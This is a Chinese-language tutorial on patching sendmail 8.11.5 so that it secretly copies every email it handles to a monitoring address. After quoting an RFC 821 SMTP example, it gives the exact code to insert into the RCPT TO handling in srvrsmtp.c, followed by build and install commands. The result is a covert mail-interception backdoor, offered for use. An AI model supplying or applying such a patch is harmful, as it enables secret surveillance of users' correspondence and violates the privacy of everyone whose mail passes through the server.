一、簡介
如果你的郵件系統是用sendmail,不論你是用它來發送、接收郵件還是僅僅將其作為一台Mail Relay Host,你都可以通過簡單的修改一下sendmail源代碼來捕獲用戶的郵件。
二、環境
FreeBSD 4.3 Release + sendmail 8.11.5,從www.sendmail.org下載源代碼包sendmail-8.11.5.tar.gz,運行:
# tar zxvf sendmail-8.11.5.tar.gz
在當前目錄下生成sendmail-8.11.5目錄
三、步驟
先讓我們來看一個SMTP通信的例子:(參考:rfc821.txt)
This SMTP example shows mail sent by Smith at host Alpha.ARPA,
to Jones, Green, and Brown at host Beta.ARPA. Here we assume
that host Alpha contacts host Beta directly.
S: MAIL FROM:
R: 250 OK
S: RCPT TO:
R: 250 OK
S: RCPT TO:
R: 550 No sUCh user here
S: RCPT TO:
R: 250 OK
S: DATA
R: 354 Start mail input; end with .
S: Blah blah blah...
S: ...etc. etc. etc.
S: .
R: 250 OK
雖然在一個SMTP過程中可能還有很多其他命令的交互,但核心的就這麼三步:MAIL FROM、RCPT TO、DATA。在./sendmail-8.11.5/sendmail下有一個文件srvrsmtp.c,有一個大函數smtp(),它裡面的switch循環就是專門處理SMTP通信,即上面例子中R響應。任何一個SMTP 過來的郵件 —— 不論是來自Outlook eXPress這樣的郵件客戶端軟件,還是Internet上的一台MAIL HOST,smtp()依次處理對方發送過來的MAIL FROM、RCPT TO、DATA命令,從中獲得send、recipient list、message,統統存入一個struct ENVELOPE變量中,最後調用sendall()再將郵件轉給recipient list。因此,我們只需要在smtp()處理RCPT TO時將我們的監控E-mail Address加進去就可以了。
1、首先在smtp()變量聲明處加入一個變量:
int spydone = 0;
2、打開srvrsmtp.c,搜索關鍵字:case CMDRCPT,從這行開始往下的201行是處理recipient list代碼。在該case段的最後一行 ,即break;前,我們插入如下代碼:
if(!spydone)
{
a = parseaddr("", NULLADDR, RF_COPYALL, ' ', &delimptr, e); /* 將
[email protected]換成監控e-mail */
a = recipient(a, &e->e_sendqueue, 0, e);
e->e_to = a->q_paddr;
nrcpts++;
spydone = 1;
}
保存退出,在./sendmail-8.11.5下運行:make; make install 編譯、安裝。經過修改的sendmail,對於用戶接收發送的郵件,都會發送一份到
[email protected]裡。